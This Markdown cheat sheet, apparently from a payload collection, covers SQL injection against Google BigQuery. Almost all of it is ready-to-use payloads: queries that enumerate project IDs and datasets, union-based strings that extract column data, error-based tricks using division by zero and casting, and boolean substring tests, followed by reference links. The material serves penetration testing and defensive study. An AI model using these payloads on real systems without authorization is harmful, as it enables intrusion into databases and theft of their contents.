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70 lines
2.6 KiB
Markdown
70 lines
2.6 KiB
Markdown
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# Google BigQuery SQL Injection
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## Summary
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* [Detection](#detection)
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* [BigQuery Comment](#bigquery-comment)
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* [BigQuery Union Based](#bigquery-union-based)
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* [BigQuery Error Based](#bigquery-error-based)
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* [BigQuery Boolean Based](#bigquery-boolean-based)
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* [BigQuery Time Based](#bigquery-time-based)
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* [References](#references)
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## Detection
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* Use a classic single quote to trigger an error: `'`
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* Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...```
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```ps1
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# Gathering project id
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select @@project_id
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# Gathering all dataset names
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select schema_name from INFORMATION_SCHEMA.SCHEMATA
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# Gathering data from specific project id & dataset
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select * from `project_id.dataset_name.table_name`
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```
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## BigQuery Comment
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```ps1
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select 1#from here it is not working
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select 1/*between those it is not working*/
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```
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## BigQuery Union Based
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```ps1
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UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
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true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
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true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
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' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#
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```
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## BigQuery Error Based
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```ps1
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# Error based - division by zero
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' OR if(1/(length((select('a')))-1)=1,true,false) OR '
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# Error based - casting: select CAST(@@project_id AS INT64)
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dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#
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```
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## BigQuery Boolean Based
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```ps1
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' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
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```
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## BigQuery Time Based
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* Time based functions does not exist in the BigQuery syntax.
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## References
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* [BigQuery SQL Injection Cheat Sheet - Ozgur Alp - Feb 14](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac)
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* [BigQuery Documentation - Query Syntax](https://cloud.google.com/bigquery/docs/reference/standard-sql/query-syntax)
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* [BigQuery Documentation - Functions and Operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
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* [Akamai Web Application Firewall Bypass Journey: Exploiting “Google BigQuery” SQL Injection Vulnerability - By Duc Nguyen The, March 31, 2020](https://hackemall.live/index.php/2020/03/31/akamai-web-application-firewall-bypass-journey-exploiting-google-bigquery-sql-injection-vulnerability/)
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